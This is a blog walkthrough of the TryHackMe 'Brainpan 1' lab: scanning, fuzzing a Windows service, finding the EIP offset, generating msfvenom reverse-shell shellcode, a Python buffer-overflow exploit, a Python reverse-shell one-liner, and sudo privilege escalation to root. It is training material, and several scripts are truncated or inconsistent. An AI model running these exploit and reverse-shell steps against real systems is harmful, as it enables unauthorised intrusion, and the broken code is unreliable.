Write Ups
TryHackMe Brainpan 1 Write Up and Walkthrough

TryHackMe Brainpan 1 Write Up and Walkthrough

Brainpan is perfect for OSCP practice and has been highly recommended to complete before the exam. Exploit a buffer overflow vulnerability by analyzing a Windows executable on a Linux machine. If you get stuck on this machine, don’t give up (or look at writeups), just try harder. 



This is a bit of a change compared to the previous posts on this blog. The phishers have grown quiet, and I need to study. Today we will be tackling “Brainpan 1” a TryHackMe room focusing on buffer overflows. I’m currently studying for the OSCP, so this will be good practice. This machine is also on vulnhub, found here: https://www.vulnhub.com/entry/brainpan-1,51/


So we start off with a gold old quick port scan:

nmap -sC -sV -vv

Two Ports stand out here.
Port 9999 seems to have a network service running on it. We can connect to it with netcat and infer that this is clearly the application we will be overflowing.

nc 9999

The next port that we see seems to be serving an http server, port 10000. This is probably the application we will need to exploit in order to obtain the BrainPan server we need to reverse engineer.

We will now run go buster with the common list form SecLists on the web port to see what else we can find.

gobuster dir -u -w /usr/share/seclists/Discovery/Web-Content/common.txt

The first hit on our list is /bin/ so lets navigate there and see what we have.
(Spolier Alert, its the brainpan.exe application file, the same one running the sever we connected to with netcat)

The Buffer Overflow

I’m not going into grave detail here on how to exploit a buffer overflow, and how it works. That’s a book on its own. But we will be going over the steps to exploit the vulnerability, and the code I used.

Finding the Offset

The goal here is to find the offset to start writing to the EIP address. We will start with sending increasing lengths of a string as the “password” to the server. Eventually, if this server is vulnerable to buffer overflows, it will crash.

So we need a python script that will connect to the target on port 9999, receive the brainpan header asking for the password that is sent on connect, and then send our string. We then reconnect rinse and repeat until the server crashes in batches of 100 bytes, and record when it no long functions. We know that the server runs on port 9999, so we will go ahead and open this in Immunity Debugger and start fuzzing the application.

We run the following python code against the server running locally:

#!/usr/bin/env python3
import socket, time, sys
ip = ""
port = 9999
timeout = 5
string = "A" * 100
while True:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.connect((ip, port))
      print("Fuzzing with {} bytes".format(len(string)))
      s.send(bytes(string + "\r\n", "latin-1"))
    print("Fuzzing crashed at {} bytes".format(len(string)))
  string += 100 * "A"

Running the above code, it looks like we crashed somewhere before 600 bytes.
We can use that to generate a pattern with a metapsloit tool at least 600 bytes long that we will send to the target in order to identify the offset to EIP.
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 600

We take that pattern, and send it to brainpan as a string to crash the program once more. We use the following python script:

#!/usr/bin/env python3
import socket, time, sys
ip = ""
port = 9999
timeout = 5
string = "A" * 100
pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9"
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
	s.connect((ip, port))
	s.send(bytes(pattern + "\r\n", "latin-1"))

After running the above script, we see the program crashed and note the value of EIP, 35724134

Now we will feed the value back into another metapsloit tool to get the exact offset to this address.
(Spolier Alert, the offset is 524)

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 600 -q 35724134

Great, we got the offset, Just to make sure, lets test it by sending 524 “A”s to the target, and then 4 “B”s. If our offset is correct, EIP should be filled with the hex value of “B” (42) with the exact 4 bytes at the end.

We will use the following python code to verify:

#!/usr/bin/env python3
import socket, time, sys
ip = ""
port = 9999
timeout = 5
string = "A" * 524 + "B" * 4
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
	s.connect((ip, port))
	s.send(bytes(string + "\r\n", "latin-1"))

Once ran, we see our 4 “B”s made it right into EIP, which means we have a perfect offset. Next we need to determine the “bad chars” that we won’t be able to use in our shell code.

Finding bad Chars with Mona

We will be using mona to locate bad chars, as well as find a suitable module to use for the next section.

Mona can be found here: https://github.com/corelan/mona/blob/master/mona.py
It needs to be saved to your pycommands folder within the Immunity Debugger Install folder.

First we set the working folder within immunity ( You will need to do this every restart)

 !mona config -set workingfolder c:\mona\%p

Next we will generate a byte array for comparison, leaving out \0x00 by default

!mona bytearray -b "\x00"

Now after our offset, and EIP overwite, we will send a byte array of every character (besides \x00) to the server. We will then compare them to determine if there was any memory corruption, and see what bytes might need to be removed. The python script we send over is this:

#!/usr/bin/env python3
import socket, time, sys
ip = ""
port = 9999
badchars = (
timeout = 5
string = "A" * 524 + "B" * 4 + badchars
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
	s.connect((ip, port))
	s.send(bytes(string + "\r\n", "latin-1"))

Now Brainpan should be crashed. We will use mona once again to compare the memory and see if we sent over any bad chars, feeding it the ESP Address

!mona compare -f C:\mona\brainpan\bytearray.bin -a 0031F8D0

Amazingly, there was no memory corruption, and it looks like we got the go ahead to find a suitable module for our jmp/shellcode.

Finding A Good JMP Address

Now we will simply issue the following command to find usable addresses that we can use for our shellcode:

!mona jmp -r esp -cpb "\x00"

We only found 1 suitable pointer to use, 0x311712f3

Generating Shellcode, and Exploiting the BufferOverflow

Now it’s time for all of our hard work to pay off. We will first generate the shellcode we will embed and send to our target. The application is an “exe” so we know its windows. We will use msfvenom to create the shellcode by feeding it a reverse port and IP address to connect back to (ours), as well as any bad chars we may have found earlier.

msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=4444 EXITFUNC=thread -f c -a x86 -b "\x00"

We will now construct what we hope to be our final python script, and direct it to the vulnerable server. We will write “A”s to the buffer until our EIP value. Our EIP value will be the pointer address we found in the previous section. (This will need to be backwards due to Little Endian needing that way in assembly) Next, we will need to send a NOP Sled to smooth things out, and finally our shell code. The final python code will look like this:

import socket

#Holds the address of the EIP address after a pattern is used.
#temp_EIP_pattern: 76413176
#The ammount of bytes that crashed the program after the fuzzing.
#Crashed @: 2200
#The length we chose to send the pattern
#pattern_length = 2200
#The offset found after using the pattern and doing the calculation
#Offset = 2012
#The Bad Chars found after comparing the mona binary dump with the one sent from python
#Bad Chars =00 a9 aa cd ce d4 d5
#Bad chars confirmed:
#The Address we will be using to replace the return address with

ip = ""
port = 9999

payload = (
offset = 524
overflow = "A" * offset
retn = "\xf3\x12\x17\x31"
padding = "\x90" * 16
postfix = ""

buffer = overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

  s.connect((ip, port))
  s.send(bytes(overflow + retn + padding + payload + "\r\n", "latin-1"))
  message = s.recv(1024)
  print("Could not connect.")

We just need to set a listen server with netcat on port 4444, run our exploit and cross our fingers.


We now have Shell and the only thing left to do is privilege escalation

Privilege Escalation

Now we need to get out of this garbage wine shell. We have a DOS prompt, which can’t do much so we will need to live off the land. If we issue the “dir” command we see the script responsible for restarting the brainpan server. We can issue “type checksrv.sh” to view the info, and see that its running a python command, witch python located in /usr//bin/python. We can use that binary to spawn a real linux shell.

We create a python file via DOS that when ran will spawn a reverse shell to port 4445 and call it “shell1.py”

echo import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); > shell1.py

Now we run it with python while we listen on our host on port 4445 via netcat (nc -lvp 4445)

/usr/bin/python shell1.py

Now we have a limited shell, which we can upgrade with

 python -c 'import pty; pty.spawn("/bin/bash")'

Great, now we check for any binaries on the system that our user puck can run as root.

sudo -l

Wonderfull, we can use the /home/anansi/bin/anansi_util file with sudo. Upon running it , we can see a few commands it can take.

We will run “sudo /home/anansi/bin/anansi_util manual test”

The command said to specify a file, so we will go with !/bin/bash

And we now have root!

Leave a Reply

Your email address will not be published. Required fields are marked *